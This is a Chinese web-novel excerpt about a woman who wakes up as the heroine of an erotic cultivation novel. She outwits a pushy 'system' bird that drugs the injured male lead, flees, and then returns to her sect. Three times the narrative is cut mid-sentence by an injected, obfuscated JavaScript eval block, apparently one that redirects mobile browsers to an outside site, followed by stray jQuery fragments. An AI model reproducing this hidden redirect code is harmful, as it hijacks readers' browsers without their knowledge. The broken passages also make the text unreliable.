《一篇不可说的限制废文》
1. 开局
“你到底还在犹豫什么?”
“点击同意,即可解锁限制文的各种sport剧情!”
“天大地大,欲望最大,世间万物都离不开欲望二字,七情六欲乃人间之常,本po文系统助力你走上人生巅峰。”
“宿主,宿主你看我的眼睛,我不信你两眼空空。”一旁的黄色肥鸟像为了证明般,拼命地煽动小小的翅膀靠近宋清词的眼前,努力地瞪着自己那双芝麻大的眼睛试图打动她。
宋清词按住这只窜来窜去,试图向她推销的肥黄鸟,翘起兰花指一弹,黄肥鸟在空中托马斯回旋翻滚了几圈,一头撞进围着鲛纱的床纬。
“聒聒又噪噪,都什么年代了还搞po文,不知道净网行动从我做起嘛,长这么黄脑子也这么黄。”她拍了拍手上不存在的灰,提起裙摆,轻快地向门外走去,胸膛中跳动着一声又一声有力的心跳。
她是在三天前穿越进这个世界的。
按照这只肥黄鸟所述,她穿成了一本限制文的女主,女主与宋清词同名同姓,剧情里,宋清词从小流浪,生活在凡间的乞丐窝以乞讨为生。
有天被路过的天剑宗宗主看上了,好心将她带回了宗门,从那以后她的人生就像一路开了挂一般,手握万人迷团宠剧本,在宗门备受宠爱,同时身边围绕着一群男男女女。
而她自己来者不拒,和多位男主牵扯不清,但凡有点姿色的美男都会被她收入囊中,成为助力宋清词走上人生巅峰的一员。
在肥黄鸟给的剧情里,整个修真界几乎所有人都像是被女主下了降头,如护花使者一般围着她转,不让任何人伤害到她,也不让她受到任何的委屈。
不管发生什么事,都永远无条件维护宋清词,站在她那边,甚至事后发现对面说的是对的,憋了半天也要来一句“小词这么善良,她只是好心办了坏事。”
不仅如此,宋清词还天生拥有锦鲤体质,出门总能捡到天材地宝,虚空草九转青莲什么的简直手到擒来,随手掏的蛋要么是上古神兽凤凰玄武,要么是上古凶兽穷奇饕餮。
修炼更是如喝水吃饭一样轻松,修为蹭蹭蹭地往上涨,完全不带一丝停顿。
普通人修炼晋级经历的雷劫至少玄阶,而宋清词每次的雷劫只有黄阶,劈她的雷总是象征性地打了几下雷,根本舍不得她碰着。
然而奇怪的是哪怕区别对待如此明显,书里并没有人对此产生疑惑或者质问,非常默契地认为这一切基于天道对气运之子的偏爱。
回顾书中宋清词的一生,可以用四个字来形容:人生赢家!
爱情修炼双丰收。
此番完美的大女主剧本很值得体验一番的,但坏就坏在,是这只黄肥鸟带她来到的这个世界。
而这只黄肥鸟,是个po文系统,非要让她去多勾搭男人,一勾二搭三勾四搭,搞各种各样的play,致力于把整个剧情引上令人血脉偾张,想入非非的画风。
还美名其曰,多做运动来强身健体。
宋清词对这种不良诱惑当然是直接说nonono,穿来的这几天她也没有闲着,一边忽悠系统,一边摸清了现在的情况。
现在正好就趁着系统近身把它打晕的功夫赶紧溜。
思及此,宋清词按了按有些加快的心跳,虽然她很感谢肥黄鸟给了她一次新的生命,但要出卖自己的身体给它做任务,她真的……
脚下前进的步子忽然一顿,好像踩到了什么东西。
宋清词定睛一看,才发现在她的房门口躺着一个昏迷不醒的美少年。
少年冷汗直冒,鬓发凌乱地贴在额角,却仍然遮挡不住一副好相貌。
线条柔和,透露着独属于少年的稚嫩,面若冠玉,鼻梁高挺,五官精致漂亮,一双眸子紧紧闭着,像是失去了意识。
他一动不动地靠在木屋的门边,身形修长清瘦被一件被鲜血染红的衣袍包裹着,浑身上下没有一处好的地方。
宋清词心跳漏一拍,呼吸有些急促。
适时床上肥黄鸟飘飘然落在她的肩上,开口道:“你仔细观察一下他的眼尾,还有你最喜欢的泪痣呦~”
“心动不如行动,像这种姿色的美男我们足足有六个,你真的不想要吗~”
最后的话像人间波浪号,带着十足的诱惑力。
宋清词的目光快速略过重伤美少年,又瞥了黄肥鸟一眼,过了会儿,沉声道:“救人一命胜造七级浮屠。”
黄肥鸟欢快道:“恭喜宿主解锁限制文的第一个情节。”
【你望着徐绪笙那张俊逸非凡的脸,一时间竟失了神,不信世上存在能和师父师兄们肩并的存在。】
【如此想着,你心底不由对面前的少年产生了好奇,下定了决心要好好研究这徐绪笙一二,剥开他真正的面目,于是将他的衣衫逐渐褪去,放入早已备好的浴桶,替他清洗干净沾满鲜血的身子。】
剧情到这里,系统没有再说话,那意思很明显,轮到宋清词行动了。
宋清词没有行动,反而是蹲下来好好欣赏着这张漂亮的脸蛋,目光在他眼尾那颗美得惊心动魄的泪痣上扫射,连连盯了好一会儿。
“宿主,宿主?你怎么不动啊?”黄肥鸟以为好不容易诱惑住了这祖宗,结果见她半天不动身。
宋清词作西子捧心状,缓缓眨了眨眼,问它:“我这体魄,像是能搬动他样子的人吗?”
她适时地咳嗽了两声。
在她穿进来前,原身刚从一个小秘境里出来,受了很重的伤,现下一直在自己的小木屋里养伤,谢绝了任何师兄师姐的来访。
“那怎么办?”黄肥鸟忧心忡忡。
“小肥鸟啊,你知道吗?”宋清词不紧不慢道:“我们蓝星人有句古话叫做,钱不给到位,很难给你办事啊,你都不给我点什么,我为什么要听你的?”
黄肥鸟直觉哪里有什么不对,但是脑容量有限又说不上来是哪里不对,只好顺着宋清词的话问:“你想要什么?”
“我在蓝星的身体已经死了,我也不奢望回去,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222881|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是我希望能见一个人一面,看她过得好不好。”宋清词很快道,像是早就在心里演练过很多遍。
“没问题!”黄肥鸟一口答应,“只要宿主完成了任务,在我的权限范围内,我可以实现你的一个愿望,这个愿望我应了。”
得到系统肯定的答复,宋清词才终于起了身,心中悬着的石头霎时放下了。
“你可以把他搬进屋子里了。”她侧出身体让出一条道给黄肥鸟,指挥道。
“我?!”黄肥鸟本来松了一口气的声音瞬间变了一个调。
“咳咳,不然是我吗?剧情里没说要怎么把他带进来,你来也是一样的。”宋清词虚弱地咳了几声,目光炯炯地看着黄肥鸟,“你难道不想为剧情出一份力吗?”
“是,是这样的吗?”黄肥鸟越发觉得哪里不对劲,但见宋清词苍白的脸颊和仿佛风一吹就倒的身体,鼓起了信心。
“我来就我来吧!”
肥肥胖胖的小黄鸟飞到徐绪笙的肩上,伸出小爪子拽着他的肩膀,使出了九牛二虎之力拖着他进了屋,好不容易到了浴桶的旁边。
第一步已经完成了,接下来需要做第二步。
黄肥鸟喘着粗气,见宋清词拎着个小浴桶跑出门,停在了木屋不远处的溪边。
弯下腰打了半桶水,提着打好的半桶水走走歇歇地回了木屋,倒进浴桶里。
宽大的浴桶里上涨了指甲盖高度的水位,彰显着宋清词的作用。
黄肥鸟:“……”
宋清词眨了眨眼,又一副要跑出门的样子。
“……你停下,我来吧。”黄肥鸟忍不住开口,只能安慰自己这都是剧情里没提到的部分,它的宿主此时确实不适合做粗活。
好不容易把水装满,在一旁继续欣赏美少年的宋清词终于动了身,她踩着小梯子,抓住徐绪笙的衣领,利落爽快地将他丢下了水里。
累成狗的黄肥鸟此时话都快说不出来了,只能连忙也抓住男主的衣领疯狂往上提。
“宿主你准备让男主洗冷水澡?”
“这不明摆着?”宋清词语气迷惑,似乎想不明白系统为什么会问再明显不过的问题。
系统被惊得说不出话,忍不出拔高音量:“男主受着重伤都快死了,你给他洗冷水澡?”
“哦~”宋清词恍然大悟,掌心运转起体内的火灵根,贴在木桶边上给冷水升温。
“你去把他的衣衫给褪去吧。”她稀松平常地命令着黄肥鸟。
黄肥鸟下意识地动起了身,小爪子一下一下扒拉着徐绪笙的衣服,完全没察觉到有什么不对劲。
“啧,你真慢。”宋清词轻蹙起了眉,神色有些不耐,便也挽起衣袖把徐绪笙的衣袍给揭开。
黄肥鸟被宋清词挤到了一边,神色竟然有些失落。
而徐绪笙幽幽转醒,眼前一片模糊看不清救他之人的相貌,只觉褪去他衣袍的手法格外轻柔,鼻尖暗香浮动,泡在恰到温度的热水缓解着身体的疲惫,头一歪又昏睡了过去。
2. 脱身
宋清词注意力集中在徐绪笙的伤口处,并未发觉面前之人刚刚细微的动静。
此时徐绪笙的衣衫已被尽数褪去,紧实有力的腰身暴露在空气中一览无遗,宋清词站在梯子上,弯着腰,拿手帕一点点擦拭着他的身子,水滴顺着他的下颚缓缓流淌向下腹块状分明的腹肌上。
宋清词越擦越感觉口干舌燥。
不知过了多久,徐绪笙身上的伤口终于被清理干净。
宋清词有些遗憾地放下了手里的手帕,原本白色的手帕已经被血染成了红色。
她下了梯子,伸了伸懒腰,打哈切时,脑中突然想到了一个严肃的问题,徐绪笙现在依旧昏迷不醒,那么谁把他从浴桶里提出来?
总不能一直让徐绪笙光着身子待在浴桶里吧。
那样太有伤风俗了。
她视线一转,目光落在和准备休息的黄肥鸟身上,似乎是感应到了她的视线,黄肥鸟也抬头望着宋清词。
一人一鸟就这么四目相望。
黄肥鸟瞬间看懂了宋清词眼里的意思,想到不久发生的事情,没等宋清词说话,主动开口道:“我来,我来。”
不用说,它都懂,宿主刚穿来不久的身体确实不适合干粗活,更何况她的力气确实小,这对她来说属实太为难了。
刚刚都帮忙做了那么多事,如今再多一件又怎样。
反正这都是小事,只要她肯完成后面的任务一切都好说。
黄肥鸟在心里如此安慰着自己,任劳任怨地将徐绪笙从浴桶里搬到了多出来的那间屋子的床上。
宋清词勾了勾唇角,对黄肥鸟的识时务深感欣慰。
这样的话本次限制文的剧情应当是完成了吧。
她没见过原主的师兄和师父他们的模样,没办法将徐绪笙和他们做比较,不过今天四舍五入也算是见证到了男主的真实之处。
宋清词正这么想着,脑海响起了一道冰冷的机器声。
【你被突然睁眼的徐绪笙强行拉入床上,他的脸上泛着不正常的潮红,浑身燥热难耐,你们十指紧扣,隔着一层薄薄的布料,你的感知被无限放大,不知谁先动嘴,二人如同野兽一般,依靠着本能行动。】
【房间漆黑一片,地上昏暗的烛光倒影着二人交缠的身影,过了许久,你的声音早已哭得沙哑,发泄似的,狠狠咬了徐绪笙的脖子,放下狠话,“今日之事,我不会就此善罢甘休。”】
宋清词:?
已经不知道从哪里吐槽比较好了。
宋清词:“限制文原本的剧情是什么?”
黄肥鸟老老实实答道:“男主徐绪笙不小心拉住了女主的手,然后女主跌落在床上的情节。”
“没有后面一系列的那些事情?”宋清词不可置信,没想到黄肥鸟竟然改了这么多。
黄肥鸟:“没有。”
不亏是po文系统,莫名其妙的。
才刚见面的两个人就能忘情了,发狠了,如同做了夫妻般,已经不知天地为何地干了起来。
宋清词真没听明白荷尔蒙爆发的点在哪里,薅了一把黄肥鸟的毛,问道:“干点在哪里?”
黄肥鸟愣了片刻,反应过来后,随即回道:“书里处处都是干点。”
宋清词笑了,不知是被气笑了,还是真想笑。
空间顿时变得安静起来,空气仿佛凝固了一般,安静得落针可闻。
“系统,你说过要助我走上人生巅峰的对吗?”宋清词突然开口,打破了沉默的气氛。
黄肥鸟被她问得措手不及,不明所以,但仍迟疑地点点头。
宋清词微微翘起嘴角,嗓音轻灵又平缓,带着循循善诱的蛊惑,“既然你都愿意助我走上人生巅峰了,那么你不会不愿意为了我缩短点情节吧?”
黄肥鸟听了宋清词前半句话刚想附和地点头,却在她说出后半段时,垂着的脑袋猛地抬起。
“不......这是两回事!”黄肥鸟拒绝的话几乎脱口而出。
宋清词叹了口气,“你说你能带我走上人生巅峰,我信了,可你连眼前这种小事都做不到,又叫我如何能信你?罢了,罢了.......”
她的话没说完,就被黄肥鸟打断了,它见状扑腾着翅膀,“我做,我做,还不行吗。”
“但你也知道的,我们干这行的本质是这样的,就算再怎么缩短,都改不了它的本质,而且我权限小,没办法做太大的改动。”
“念在宿主刚开始做任务,只能改这么一次,下次我真的做不了,如果被主系统那边发现,我会被扣三个月的奖金的。”
宋清词一副我能理解你的表情,善解人意地安慰黄肥鸟,“没关系,我会努力做任务来帮你多争取奖金的。”
“那你想要多短?”黄肥鸟得了宋清词的保证,心情总算好受些。
宋清词道:“简单缩短成一句话。”
黄肥鸟:“你和徐绪笙做了一夜夫妻。”
宋清词不死心追问道:“不能再短一点?”
黄肥鸟:“你和徐绪笙做了一夜。”
宋清词彻底没辙了,终于明白了黄肥鸟那句话的含义,只好认命。
“算了,我不要求缩短剧情了,只是……在剧情开始前,你能不能把浴桶装满水放在这间屋子?毕竟……”
那意思不言而喻,宋清词点到为止,没有再继续说下去。
黄肥鸟作为po文系统,没吃过猪肉也见过猪跑,至少理论知识是满点的,立刻会意,很快就就把相隔了几个房间的浴桶装满水,拎来了这儿。
完成了这一系列准备工作之后,黄肥鸟消失在了屋子里,只留下她和徐绪笙。
宋清词知道,这是剧情要开始了。
她站在徐绪笙的床边,盯着他的那张脸,眼底的算计一闪而过。
原本昏迷不醒的徐绪笙不知何时睁开了眼,一动不动地看着宋清词,突然抓住了她的手,将她一把拉倒床上。
宋清词的胳膊被徐绪笙拽得生疼,吃痛地喊了一声,等她缓了缓,冷静下来后,注意到就像剧情里那般,他脸上泛着不正常的潮红,浑身燥热难耐,体温高得吓人。
她和徐绪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222882|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笙相互对视,二人之间仅隔着层薄薄的布料,十指紧扣,宛如一对亲密无间的恋人,连空中弥漫着的空气仿佛也被染上了暧昧的氛围。
徐绪笙发出痛苦的闷哼声,呼吸变得愈发急促。
她们之间的距离进一步拉近。
宋清词清晰无比地感受到他的热气喷撒在她的颈肩,有双大手搭在腰间,借此为牢笼,紧紧地将她钳制住。
那手在不安分地乱动,想要去扯宋清词腰间的衣带,却被她一把按住。
“你知道自己在做什么吗?”
宋清词试图唤醒徐绪笙仅存的理智,可惜失败了,她并没有得到徐绪笙的回应,他的攻势反而更加猛烈了。
看来已经到了失去全部理智的程度了。
那等后面徐绪笙清醒了,想起自己身上发生的事情,总不能全部怪她吧?
宋清词铆足了力,反骑在他的身上,全身压制住挣扎的徐绪笙,对准他脖子处,狠狠咬了一口。
她用徐绪笙盖着的那层被子费了老大的力气,将他绑成了一个大麻花。
这招不是长久之计。
用不了多久徐绪笙就能挣扎出来。
宋清词毫不犹豫地跳下了床,径直奔向附近放置浴桶的地方,拿起古匜舀足了水,接着又回到床边,几乎不带犹豫,朝被捆成麻花的徐绪笙泼完了里面的水。
她一个人这样来来回回泼了好几次,直到浴桶里实在没水了,才停下手里的动作。
宋清词站在离徐绪笙最远的位置,仔细地观察床上的徐绪笙,他就躺在哪里,看样子是昏过去了。
于是她小心翼翼挪动着步子,始终保持着离门最短的路线,生怕徐绪笙会再次醒来,一有不对劲就立刻冲破门。
直至走到了蜡烛能倒影两个人的身影的位置,宋清词深深吸了一口气,放下狠话,“今日之事,你休想善罢甘休。”
这句话没有技巧,全出自宋清词的真情实感。
该死的系统。
给男主下了那么猛的春.药。
在她接收的那份剧本里,原书男主明明是个连牵手都会害羞的少年。
完成了这件事情,宋清词不由放松了下来,顿感浑身疲惫,今日之事着实给她累着了,必须得好好休息一番。
她推开屋子的房门,走向了另一间屋子。
………
第二天。
宋清词是被黄肥鸟的尖叫声吵醒的。
她揉了揉惺忪的睡眼,无语地看了一眼站在床头的黄肥鸟,“你在叫什么?”
黄肥鸟煽动着翅膀,飞到宋清词面前,“你怎么能睡在这里?”
“我不睡在这里,应该你睡在这里?”
黄肥鸟激动得有些语无伦次,着急忙慌解释道:“不是那个意思…昨天晚上你不是和男主待在一个房间?”
宋清词推开近在咫尺的黄肥鸟,洗漱了一番,才缓缓开口:“我不习惯和别人睡在一起,做完了就回来了。”
黄肥鸟恍然大悟,正想继续问下去。
“叩叩叩——”
3. 又要跑
是房门被敲响的声音。
宋清词刚想说让黄肥鸟去开门,谁料这厮跑的比谁都快,转眼就没影了,生怕被人看到一样,果然是见不得人的东西。
她小跑去开了门,一大早能来敲门的人除了徐绪笙就没有别人了,相较昨天初见时身受重伤的样子,今天看上去倒挺人模人样。
“你……”宋清词斟酌良久,“是怎么解开那个的?”
徐绪笙的耳尖疏地红了,浑身僵硬,胸腔明显的剧烈起伏,“我…我…就是…那样解开的。”
“那样是怎样?我听不太懂诶,可以说得再具体一点。”宋清词往前凑了凑,故意使坏,生起了逗徐绪笙玩的心思。
她一往前走,徐绪笙就不自觉往后退,避开宋清词的视线,低声道:“就施法解开的。”
宋清词“哦~”了一声,适可而止,再逗下去怕徐绪笙直接逃到外面去,收起了逗弄的心思,转身回到屋子里,还不忘招呼他跟着一起进去。
一直躲在角落里竖起耳朵听的黄肥鸟瞪大了眼睛,他们昨天晚上玩的这么刺激?宿主真不得了,竟然还把男主绑起来玩那种游戏……
很好很好,照着这样下去,完成目标指日可待!!它就说自己的眼光不会错,当初一眼选中了宋清词真是个正确的选择。现在想想她叫自己做的那些事肯定都是她计划中的一环。
-
屋内。
宋清词和徐绪笙二人坐着面面相觑,她寻思着两个人干瞪眼也不大好,拿出了陶瓷杯放在徐绪笙面前,提着茶壶向茶杯里倒水。
可惜她忘记茶壶没有水,倒回去又尴尬,只好硬生生演示了一遍皇帝的茶水。
徐绪笙尴尬一笑,“在下不渴,姑娘不必如此破费。”
“今日来找姑娘,只为感谢姑娘昨日的相助,”徐绪笙言简意赅,起身朝宋清词作揖致谢,说出来的话像早就在内心演练过无数遍,“在下是昆仑山的徐绪笙,救命之恩无以为报,现如今在下身上实在没有贵重的东西能给姑娘。”
“若姑娘不嫌弃,在下这里有一块令牌,只要带着它去云岚阁或者灵庄都可以换你想要的东西。”
云岚阁和灵庄哪一个名气都不小,云岚阁出售法器和法衣这类的法宝,它最大的特点是具有广泛性,不仅法宝的种类多,价格同样全面,谁的钱都想赚,上到价值连城的,下到几十中品灵石的,应有尽有。
而灵庄遍布修真界各处,它的业务很多,本质属于中介,可以兑换各地的通用货币,比如灵石换成魔域通用的魔晶,或换成人界的钱币,同时能存钱还可以对外借钱,需要利息的那种。
它们两个在原书里都是男主的家族产业,所以他能说出这句话,宋清词并不奇怪。
后期原身和男主暧昧不清的时候,借助男主身份,带来了不少助力,从某种程度上能同时开它们两个的背后之人也是奸诈…天才到了极点,从中带来的利润可想而知有多大。
简直是修真界的资本家。
徐绪笙将令牌摊开给宋清词看。
檀木令牌散发着淡淡的香气,形作鱼之态,鱼身的鳞片凹凸不平,栩栩如生,背面被磨平,刻了宝相花纹,红绳穿过镂空的鱼眼系着这块令牌。
抛开云岚阁和灵庄的附赠价值不说,这令牌看着就充满了金钱的味道,有便宜不占王八蛋。宋清词不做王八蛋,占了这个便宜,收下了令牌。
宋清词关心道:“唉,你可不知道,昨天晚上的你有多生猛,明明身受重伤,却能把我扑倒……半夜我反反复复睡不着在担心你呢,想着要不要去隔壁卧房看一下,幸好你今日醒了。”
“姑娘,”徐绪笙羞愤欲滴,耳朵红得要滴血,好不容易才将昨天的记忆暂时忘记,如今宋清词的一番话又让它浮现在他脑海,“昨日之事,我也不知为何会那样。不过此事皆由我一人而起,我会负起责任的。”
徐绪笙语气坚定,说起负责眼眸里光芒闪烁,似是下定了重要的决心。
等等,负责?他该不会误会了吧,兄弟你记事情怎么只记一半。
宋清词心里是这么想的,说出来的却是另外一回事,不捞白不捞,顺着他的话往下说,“行,那你准备怎么负责?”
徐绪笙一脸认真地看向宋清词,将计划好的讲给她听,“成亲并非儿戏,若姑娘愿意,可随我一同回到昆仑山,届时我会向师尊那边禀明此事,再来商量成亲的具体事宜。”
“这样啊。”宋清词心中若有所思,道:“要是你师尊不同意呢?他会接受我这样来路不明的女子吗?”
徐绪笙静静道:“我会让他同意的。”
宋清词缄默半晌,嘴唇微动,正欲开口,门边又响起“叩叩叩”的声音。
这又是谁。宋清词思绪翻转,知道原身待在这里的除了师兄师姐们,还能有谁?
说时迟那时快,宋清词作了个噤声的手势,一股劲地将徐绪笙推到屏风后面,又迅速拉开了屏风前的床幔遮掩。
她倚坐在榻上,虚弱地咳了一声,“是何人?”
“小师妹,是我。”敲门的人嗓音低沉缓和,温润如玉,不失磁性。
“二师兄今日前来所为何事?前些日子我便说过,无要事便不用来我这儿了,倘使想跟其他人一样劝我回去,还是早些回去歇息罢。”
宋清词捂着胸口,咳得一阵一阵的,连带着肩膀剧烈抖动。
门外的姜玉珩听着屋内传来的断断续续的说话声,心里愈发着急,迫切想要进去看宋清词的情况,但她那么说了,只得耐着性子哄道:“我知你现下心烦,自是不会和其他人一样劝你回去。”
“今日前来只是想知道你身体恢复的情况,我带了不少有利于恢复身体的丹药和其它的东西,你不想见我,那我放在门口就走。”
宋清词柔声道:“有劳二师兄了,我的身体状况暂时不便见人。”
“那好。小师妹你安心养着身子,”姜玉珩顿了顿,道:“余师妹的那件事情你且勿放在心上,师叔已经教训过她了,要不了多久,会带她亲自登门道歉。”
姜玉珩还交代了一些杂七杂八的事情,他每说完一件,不管听没听进去,宋清词都会“嗯”一声。
后面姜玉珩讲的口干舌燥,发现实在没其它话可讲,和她说了几句告别的话,留下了那些东西就离开了。
姜玉珩一离开,宋清词样子仍维持着那副虚弱的样子,主要他们之间的谈话时徐绪笙也在,俗话说做戏做全套。
结果没等宋清词开始表演,就见徐绪笙从屏风背后出来,满脸懊悔,双手紧握,指甲深深掐着掌心,仿佛在压抑心中的情绪。
他站在哪里有些局促不安,“你身子可还好?明明自己就身受重伤,却还要救我…又被我那样。”
徐绪笙伸出手想去看宋清词伤口处,触碰到床幔的瞬间,意识到了不妥,立刻收回了手。
“没关系。”宋清词满不在意道,“徐道友不必在意,救你是我自己的选择,不过昨晚你伤成那样,今日醒了又马上下床,这对身体不好。”
宋清词的话非但没有安慰到徐绪笙,反而让他内心的自责越来越强烈,整个人被愧疚、懊悔、自责占据。
“我的体质和旁人不大一样,无需担心,现如今我已向师父和父母那边告知了情况,想必明日她们就会派人前来商量此事。”
他这次下山除了给宋清词的那块令牌,真没带其它的东西。
但现在不做点什么,又没办法缓解他心里的情绪,他就用特殊的密法分别向远在昆仑山的天虚仙尊和家族那边传了消息过去,顺便再送点东西来。
要你那边的人来了还得了,那更跑不掉了。宋清词挤出勉强的笑,“如此…甚好,甚好。”
“对了,既然徐道友的身子能走动,那能否帮我去附近的山上摘一些清叶草过来?毕竟一直咳着也不是办法。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222883|181594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
徐绪笙不疑有它,拿着宋清词画出的清叶草立马赶去了附近的山上。
他一走,黄肥鸟就出现了。
“宿主,你的伤不是早就养好了吗?”黄肥鸟大摇大摆地从门口走进来。
宋清词捡起了昨天没收拾完的包袱,顺便将姜玉珩带的那些东西一起收了进去,踹了一脚心情不错的黄肥鸟,“我的伤好没好,你难道比我更清楚?原书里的剧情有发展得这么快?”
被踹倒的黄肥鸟支支吾吾,半天回答不上来,见状宋清词顿时了然,可事已成定局,过于纠结也没办法,现在重要的是趁徐绪笙还没回来,赶紧跑啊。
原剧情里,男主是昆仑山八大仙尊之一的玉虚仙尊的亲传弟子,在原主和男主在一起之后,玉虚仙尊第一个站出来反对,以各种理由刁难原主,是书里为数不多不被下降头的人。
堪称修真界版的恶毒公公。
由于玉虚仙尊的修为高深,放眼望去整个修真界,当属他的战斗力最为强悍,再加上他是男主的师尊,原主便只能忍了,到后面男主的实力超过了玉虚仙尊,这种情况才被打破。
连主角光环都奈何不了的人,宋清词凭什么能对付的了,一想到再不跑要和这样的人过招就忍不住打了个寒颤,加速了收拾包袱的速度。
如果不是系统搞那么一出,给徐绪笙下药,他们之间的进展不会发展得这么快,一切都是系统的错。
宋清词理直气壮地把错误全推到系统的身上,越看面前的黄肥鸟越不顺眼。
待全部的东西收拾完,宋清词背上包袱就要走,刚跨出门槛,迎面走来两个熟悉的面孔。
余欢和她的师父宗简。
宗简看到背着包袱的宋清词先是一愣,随即推了推旁边的余欢,眼神示意她上前。
余欢不情不愿地上前一步,敷衍道:“之前在秘境里,是我做错了,我向师妹道歉。”
见对面的人久久没有开口说话,余欢有些不耐烦催促道:“你说话啊。”
宋清词平静道:“我知道了,那你们要是没事的话我赶时间,先走了哈。”
无论是他们上门道歉的速度还是道歉的确要不了多久,然而她没理由管余欢道歉不道歉,反正是原主和余欢发生的争执,跟她没关系。
原主之所以会在秘境受伤,其中跟余欢有一部分的关系,可又不能全部赖在她身上。
像原书这种万人迷团宠文当然少不了对照组,一些恶毒女配的存在。
余欢则担任这本书的恶毒女配,因原主被天剑宗的宗主带回宗门没多久就收获了一众师兄弟的喜爱而心生嫉妒。
一直谋划着找原主麻烦。
刚好原主要去小秘境试炼,她便也缠着宗简要去小秘境试炼,宗简向来溺爱自己这个唯一的徒弟,于是由着她去了。
余欢料定了天剑宗不会在这样的小秘境留下忆镜来看里面的一举一动,没有证据能证明她找原主的麻烦,所以行事格外高调,加上她本身就是不知低调为何物的人。
她约原主在小秘境的森林见面,二人一见面发生了争执,你一言我一语,吵得愈发激烈,在争论过程中,原主不小心摔倒,脚受了伤,恰逢兽潮突然来袭,根本来不及躲避。
而余欢自幼娇生惯养,哪里见过这样的场景,扔下腿脚不便的原主在原地,一个人逃走了。
幸好原主有主角光环,避免了死亡的结果。
不得不说这本书主角光环的强大,正常修士经历兽潮非死即伤,跟那些人比起来,原主受的伤不值一提。
出了小秘境的原主始终咽不下这口气,自从她被天剑宗宗主收作亲传弟子,哪里受过这种委屈?
自是不肯善罢甘休的,无奈她拿不出证据证明小秘境发生的事,一时赌气下山,以修养的理由待在山下。
宋清词忽然想到关键的一点,按照这个剧情发展,原主没死,那她怎么穿进来的?
4. 回宗
可惜现在当着余欢和宗简的面,她没办法直接问黄肥鸟。
“我给你道歉,你就这个态度?”余欢不可置信地看着宋清词,仿佛向她道歉是一种施舍。
宋清词思考了下,露出一个大大的微笑道:“这样可以了吗?我真没时间陪你闹了。”
在她绕过他们即将离开时,宗简沉不住气,大声呵斥余欢:“余欢!你怎可对师妹如此态度,此事本皆由你一人而起,做错了事道歉不是理所应当的?”
余欢被宗简突如其来的呵斥吓到了,愣在原地,顿时眼眸满是水光,被宗简拽着走到宋清词的面前,“跟你师妹重新道歉,若连道歉都说不好,那不用再回天剑宗了。”
余欢声音带着点哭腔,“对不起,是我做错了,我不该一时被私人恩怨冲昏了头脑约你出来,更不应该弃受伤的同门不管而逃走。”
她眼泪啪嗒啪嗒往下掉,不知道的还以为宋清词把她怎么了。
宋清词不擅长安慰人,只拍了拍余欢的肩,然后准备开溜。
余欢见她想走的动作,立刻拉住了宋清词的手,不满道:“你为什么还要走啊?对我的道歉不满意的话,我可以重新道一个。”
“是啊,回去吧。”宗简劝道,“你离开宗这段时间,宗主和姜玉珩他们都很担心你的安危。”
宋清词不为所动。
宗简又道:“奇怪,听说你当初刚出小秘境,什么东西都没带就离开了宗门来到此处修养,后来这些东西还是你师兄师姐他们带的,如今离开了这里,是有足够的灵石支撑后面的生活?”
他叹息道:“宋清词,你是天剑宗的弟子,总是要回宗的,不可能赌气一辈子待在外面不回来,现在外头可不太平。”
宋清词点点头,“师叔说的对,那我们现在回去吧!别让师父他们等着急了。”
从刚刚到现在,她等的就是宗简这句话,待在外面只是宋清词一时之策,毕竟的确如他说的那样,自己身上没有足够的灵石,离开了这里,还得自己赚灵石。
然而她无任何一技之长,生存能力为零,有谁会放着好日子不过,去过苦日子的?就算离宗那也得等捞够了再说。
再者,如果她一声不吭地离开,天剑宗的人和徐绪笙或是昆仑山那边的人撞上了,她又该如何解释?
说着她边推余欢和宗简,边急不可耐地催促道:“师叔能不能用传送阵送我回去呀?那样更快些,离开宗门的这段时间我一直都很想念同门的师兄师姐们。”
变脸速度如此之快,在场的宗简和余欢二人同时愣住。
宗简脑中有那么一瞬间的空白,明明这里就在天剑宗的山脚处,不用传送阵回去也用不了多久,却鬼使神差地拿出了传送阵送宋清词回去。
余欢默不作声,也没去质问宋清词无理的要求。
传送阵的速度确实快,一眨眼的功夫就回到了天剑宗。
不过传送阵只能传到天剑宗门口,没办法直接传送进去。
宋清词走进天剑宗,看门的弟子先是震惊,而后扭头大喊了一声,“余师姐和宋师妹回来了!”
声如洪钟,震天响,吸引了众多赶来看热闹的弟子,本来没什么人的地方霎时挤满了人,她跟稀有物种一样,被他们围观。
所幸被围观的不止有她,宋清词下意识扭头去看身后的宗简,竖着的巨大石像正好挡住了弟子的视线,所以他们看不见后面站在台阶上脸色铁青的宗简,忍了又忍,强压着怒意。
“我去,她们是一起回来的?!”
“哎,怎么没打起来?”
